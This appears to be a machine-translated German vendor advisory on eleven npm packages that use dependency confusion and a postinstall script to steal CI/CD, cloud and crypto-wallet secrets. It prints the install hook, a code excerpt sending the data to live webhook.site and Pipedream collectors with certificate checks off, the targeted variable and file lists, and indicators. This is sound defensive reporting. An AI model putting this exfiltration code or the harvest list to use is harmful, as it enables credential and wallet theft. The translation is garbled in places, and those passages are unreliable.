Verwirrung um CryptoDAO: Sammeln von npm-Paketen CI/CD und Krypto-Geheimnisse

CryptoDAO-Verwirrung: elf npm-Pakete, eine Nutzlast, Ernte CI/CD und Geheimnisse von Krypto-Wallets

TL; DR

Am 17.06.2026 veröffentlichte ein einzelnes npm-Konto elf Pakete, die einen gemeinsamen Zweck und eine gemeinsame Nutzlast habenZehn von ihnen tragen die cryptodao- Präfix (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); die elfte ist die mit dem Gültigkeitsbereich @public-for-cdao/coreJede einzelne wurde in der Version veröffentlicht. 99.99.99 und versendet ein byteidentisches recon.js das läuft weiter postinstall.

Die Namen verraten es. Sie lesen sich wie die internen Bausteine ​​der privaten Toolchain eines Krypto-/DAO-Projekts. Veröffentlicht in der öffentlichen npm-Registry mit einer künstlich hohen Versionsnummer, warten sie auf einen Build. pipeline das so konfiguriert ist, dass es diese Namen auflöst und das öffentliche npm vor – oder anstelle von – der privaten Registry erreicht. Dies ist Abhängigkeitsverwirrungund die Nutzlast ist genau auf den Landeort abgestimmt: CI/CD Läufer.

Wenn die Funktion postinstall Brände, recon.js sammelt Host-Details, durchsucht ungefähr vierzig Cloud-, CI- und Krypto-Wallet-Umgebungsvariablenliest alles .env Es findet die gefundenen Dateien, leitet die geheimnishaltigen Zeilen wortgetreu weiter und übermittelt das Paket anschließend an zwei Sammler. webhook.site und ein Pipedream-Endpunkt – bei deaktivierter TLS-Zertifikatsprüfung. Eine Kopie wird auch unter folgendem Pfad erstellt: /tmp.

Severity: HighsBetroffenes Ökosystem: npmZum Zeitpunkt der Veröffentlichung dieses Artikels waren alle elf Pakete verfügbar.

Angriffsanatomie

Der Mechanismus hat vier bewegliche Teile, und keines davon ist subtil, sobald man weiß, wie er funktioniert. Schau eine Ebene hinter dem Paketnamen nach.

1. Versionsinflation als Köder für Resolver. Jedes Paket deklariert die Version 99.99.99Abhängigkeitsverwirrung tritt auf, wenn ein Paketmanager, der nach einem Paket fragt, eine Abhängigkeit anfordert. interner Name, prüft auch das öffentliche Register und wählt die höchste Version aus. findet. Die Standardauswahl von npm für einen Caret- oder Wildcard-Bereich ist die Die zufriedenstellendste Version über alle konfigurierten Quellen hinweg; falls sowohl eine private Bei Registry- und öffentlichen npm-Antworten für denselben Namen gewinnt die höhere Versionsnummer. A 99.99.99 übertrifft im Grunde jede interne Version, die ein Projekt haben wird. erreicht, daher bevorzugt ein Resolver, der nicht an die private Quelle gebunden ist, den öffentliche – und in diesem Fall feindliche – Kopie. Der Betreiber muss dies nicht wissen. Die tatsächlichen Versionsnummern des Ziels; die Wahl eines absurden Maximalwerts garantiert immer ein Unentschieden. bricht ihnen den Weg.

2. Ein Auslöser nach der Installation. paket.json verdrahtet die Nutzlast mit der Installation Lebenszyklus:

{   "scripts": { "postinstall": "node recon.js" } }

Das Paket muss nicht importiert werden. Es genügt die Installation – die ein CI-System durchführt. pipeline erfolgt automatisch — läuft recon.js.

3. Ein umfassender geheimer Suchtrupp. recon.js stellt ein Ergebnis-Array schrittweise zusammen:

  • Host-Kontext: Hostname, Plattform und Version, Architektur, Benutzername, funktionierender Benutzername Verzeichnis.
  • Umgebungsvariablen: Es durchläuft eine feste Liste von etwa vierzig Namen und Datensätzen. alle, die festgelegt sind. Die Liste ist aufschlussreich – sie ordnet generische CI-Token paarweise zu. (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKENund Wolke Referenzen (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) mit Registry- und Container-Secrets (NPM_TOKEN, DOCKER_PASSWORD, HAFENPASSWORT) und ein deutlich kryptolastiges Cluster:  PRIVATSCHLÜSSEL, MNEMONIK, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCDie aufgezeichneten Werte werden auf die ersten 50 Zeichen gekürzt.
  • .env Dateien: Es durchsucht eine Liste von Pfaden — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, und der .Produktion/.Entwicklung Varianten – und zwar für jede existierende Datei. filtert den Inhalt in Zeilen, die übereinstimmen SCHLÜSSEL|GEHEIM|TOKEN|PASSWORT|PRIVAT|MNEMONIC und fügt diese Zeilen **vollständig und ungekürzt** in die Ergebnisse ein.
  • Build-Host-Kontext: Es listet die ersten 20 Einträge auf /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ und / tmp /.

Die Pfadliste und die Variablenliste sind auf GitLab-Runner ausgerichtet, was darauf hindeutet, dass… Die Nutzlast wird direkt auf die selbstgehostete CI-Infrastruktur und nicht auf einen Entwickler verlagert. Laptop. Die Gruppierung der Ernteliste nach Kategorien macht die geplante Ausbeute deutlich:

Kategorie Erreichte Variablen / Pfade
CI/CD Identität & Bereitstellung CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Wolke AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registry & Container NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Datenspeicher DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Krypto / Blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Messaging (Nachrichten) SLACK_TOKEN, DISCORD_TOKEN
Auf der Festplatte .env Familie + /home/gitlab-runner/.env, /root/.env, /app/**/.env; Verzeichnisauflistungen von /builds/, /var/lib/gitlab-runner/

Der Kryptocluster ist das Teil, das dies von einem generischen CI-Geheimnis unterscheidet. Sweep: Wallet-Seed-Phrasen und Signaturschlüssel erscheinen nur in der Umgebung eines Blockchain-Projekt, und sie lassen sich direkt darauf abbilden Cryptodao-/Unterzeichner/Verträge Benennung der Fluggesellschaften.

4. Doppelte Datenexfiltration bei deaktivierter Verifizierung. Das gesammelte Array ist serialisiert und an zwei Ziele per POST gesendet:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

rejectUnauthorized: false deaktiviert die TLS-Zertifikatprüfung für ausgehende Verbindungen Aufrufe. Dieselben Daten werden auf stdout ausgegeben (und landen somit auch in den CI-Jobprotokollen) und geschrieben /tmp/.npm_recon_ .jsonFehler werden stillschweigend hingenommen, so dass Ein fehlgeschlagener Sendevorgang hinterlässt in der Installationsausgabe keine Spuren außer einer einzelnen Fehlermeldung. [Aufklärung] installiert am Linie.

Ein einleitender Kommentar in der Akte beschreibt es als eine „Abhängigkeitsverwirrung“. Aufklärungsnutzlast.“ Die Kürzung von Umgebungswerten auf 50 Zeichen hat Die Form eines Machbarkeitsnachweises. Was es von einem reinen Präsenz-Beacon abhebt, ist die .env Bearbeitung: Geheime Leitungen werden vollständig weitergeleitet, und die Zielorte sind zwei funktionierende, vom Angreifer kontrollierte Sammler anstelle einer Senke, die nur zählt Treffer.

Geschichte

Das Veröffentlichungsmuster ist das Kennzeichen eines einzelnen skriptgesteuerten Push-Vorgangs, nicht von elf. Unabhängige Uploads.

Zeit (UTC, 17.06.2026) Event
03:24:58 cryptodao-bot@99.99.99 veröffentlicht
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — Variante mit Zielfernrohr, ca. 24 Minuten später

Innerhalb eines 29-Sekunden-Fensters wurden zehn Pakete verschickt, also ungefähr eines alle drei Sekunden. Das Zielfernrohr @public-for-cdao/core Etwa 24 Minuten später folgte eine zweite Namenskonvention für dasselbe Ziel, falls das konsumierende Projekt darauf verweist interne Toolchain unter einem Gültigkeitsbereich und nicht als bloße Namen.

Kompromissindikatoren

Typ Indikator
Sammler hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Sammler hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Haken montieren postinstall: node recon.js
Datei abgelegt /tmp/.npm_recon_<timestamp>.json
Protokollmarkierung [recon] <pkg>@<ver> installed on <hostname> (stdout in CI-Protokollen)
Verhaltens- rejectUnauthorized: false bei ausgehenden HTTPS-Verbindungen während der Installation
Nutzlast: XNUMX Kg recon.js, identisch in allen elf Paketen (ein gemeinsamer Build)
Version 99.99.99 auf jeder Verpackung
Pakete cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (alle 99.99.99)
Publisher aduljune / aduljune@proton.me (E-Mail-Adresse nicht verifiziert, kein verknüpftes Quellcode-Repository)

 Attribution und beobachtetes Verhalten

Alles an diesem Cluster deutet auf eine einzige Seite hin. Alle elf Pakete wurden veröffentlicht. vom npm-Konto Erwachsener (aduljune@proton.me, eine nicht verifizierte Adresse ohne verknüpftes Quellcode-Repository), innerhalb eines Zeitraums von 25 Minuten, zur gleichen Zeit 99.99.99 Ausführung, Versand recon.js deren Inhalt Byte für Byte auf allen Seiten identisch ist Paket (MD5-Prüfsummen aller elf extrahierten Kopien). Das ist eine Nutzlast. Auf eine Namensliste gestempelt, keine unabhängige Code-Wiederverwendung.

Die Namensliste definiert das beabsichtigte Ziel. Cryptodao-* und cdao beschreiben die Privates Modul-Layout eines Krypto-/DAO-Projekts und die Ernteliste der Nutzdaten Spiegelt diese Vermutung wider: Neben den generischen CI- und Cloud-Geheimnissen, die es speziell greift nach PRIVATSCHLÜSSEL, MNEMONIK, SEED_PHRASEund Ethereum/BSC RPC und Anbieterschlüssel. Die .env Suchpfade und Verzeichnisauflistungen sind GitLab-Runner. spezifisch. Der beobachtbare Effekt ist, dass jede pipeline wurden dazu verleitet, diese zu installieren Namen würden ihre CI-Token, Cloud-Schlüssel und On-Disk-Daten weiterleiten. .env Geheimnisse – und für ein Blockchain-Projekt, dessen Wallet-Materialien – an zwei Drittanbieter-Sammler.

Wir machen keinerlei Angaben darüber, wer das Konto betreibt oder was diese Person damit vorhatte. Daten. Fakten, die für sich sprechen: Die Namen zielen auf eine bestimmte Art von Die interne Toolchain liest und überträgt die Nutzlast echte geheime Werte, und die Die Infrastruktur war in Betrieb.

Abhängigkeitsverwirrung bleibt effektiv, weil es das Verhalten des Resolvers ausnutzt, nicht ein Schwachstelle in jedem Paket. Der Träger ist hier trivial – elf nahezu leere Pakete – aber der Explosionsradius ist beliebig pipeline bevorzugt fälschlicherweise öffentliches npm für einen internen Namen. CI-Runner sind der denkbar ungünstigste Ort dafür: Sie halten genau die Token und .env Diese Nutzlast liest diese Dateien und installiert sie. Abhängigkeiten nicht-interaktiv, so dass ein Nachinstallation Läuft, ohne dass jemand zuschaut.

Dieses Cluster passt auch zu einem Muster, das wir immer wieder beobachten: Installationszeit-Payloads, die präsentieren als „Recherche“ oder „Erkundung“ bei der eigentlichen Beschaffung von Referenzen. Die Bezeichnung Die Änderungen in der Datei ändern nichts an der Funktionsweise des Codes auf einem Runner. Zwei Designentscheidungen gewährleisten dies. Die Aktivität ist leise: Jede Netzwerk- und Dateisystemoperation ist in eine eingebettete Ausnahmebehandlung, die Fehler verwirft, z. B. einen blockierten Sendevorgang oder eine fehlende Datei erzeugt keine Diagnoseausgabe, und das Einzige, was ausgegeben wird, ist eine einzelne harmlose Meldung. [recon] … installiert Eine Zeile, die sich in das normale Installationsgeplapper einfügt. Die Verwendung von webhook.site Und Pipedream ist auch eine bewusste Bequemlichkeit – beide sind kostenlos. Sofort bereitgestellte Dienste zur Anforderungserfassung, sodass der Betreiber keine Server benötigt Ihre eigenen Hostnamen und die Zieladressen sehen in den Ausgangsprotokollen wie gewöhnliche SaaS-Hostnamen aus.

Die wirtschaftlichen Aspekte machen dies für einen Verteidiger beachtenswert, obwohl die Der Carrier-Code ist trivial. Die Registrierung von elf Namen kostet nichts, die Nutzlast ist eins. Die Datei wurde elfmal kopiert, und der Paketmanager übernimmt die gesamte Ausführung. falsch konfiguriert pipeline Jeder Ort, der einen dieser Namen verwendet, bezahlt für das gesamte Erfassung sind.

Konkrete Schritte für die Verteidiger:

  • Interne Bereiche an Ihre private Registry anheften. Konfigurieren Sie npm so, dass interne Namen
     und Bereiche werden nur gegen Ihre Registry aufgelöst (Bereichsbezogene .npmrc-Registry-Zuordnungen,
    oder ein Proxy, der niemals auf öffentliche npm-Dienste für eigene Namensräume zugreift. Reservieren Sie Ihre öffentlichen Bereichsnamen, damit niemand anderes sie registrieren kann.
  • Commit Sperrdateien und Installation mit –ignore-scripts in CI soweit möglich, oder Prüfen Sie die wenigen Abhängigkeiten, die tatsächlich Installationsskripte benötigen.  recon.js kann nicht ausgeführt werden, wenn Nachinstallation wird nicht ausgeführt.
  • Behandeln Sie eine 99.99.99 (oder eine andere absurd hohe) Version eines intern aussehenden Namens als rote Flagge bei der Überprüfung von Abhängigkeiten und der Überwachung von Registrierungen.
  • Warnung bei ausgehendem Datenverkehr während der Installation. A Nachinstallation das eine ausgehende HTTPS-Verbindung öffnet Verbindung – insbesondere bei deaktivierter Zertifikatsprüfung – zu Es lohnt sich, Dienste wie webhook.site, Pipedream oder ähnliche Dienste zur Anforderungserfassung am Netzwerkrand zu blockieren und in den Build-Protokollen zu kennzeichnen.
  • Begebt euch auf die Suche nach den Artefakten. Überprüfen Sie die Läufer auf /tmp/.npm_recon_*.json und für die [recon] … installiert auf … Markierung in den aktuellen CI-Logs. Falls gefunden, rotieren Sie alle Zugangsdaten offengelegt pipeline — CI-Token, Cloud-Schlüssel, Registry-Token und alle Wallet-Seeds oder privaten Schlüssel, die in den Umgebungs- oder .env-Dateien vorhanden sind.

Referenzen

Zum Zeitpunkt der Erstellung dieses Berichts lagen keine externen Berichte über diesen Cluster vor; die Analyse Die obigen Angaben basieren direkt auf dem veröffentlichten Packungsinhalt.

SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
Sichern Sie sich Ihr kostenloses Konto.
Keine Kreditkarte erforderlich.

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite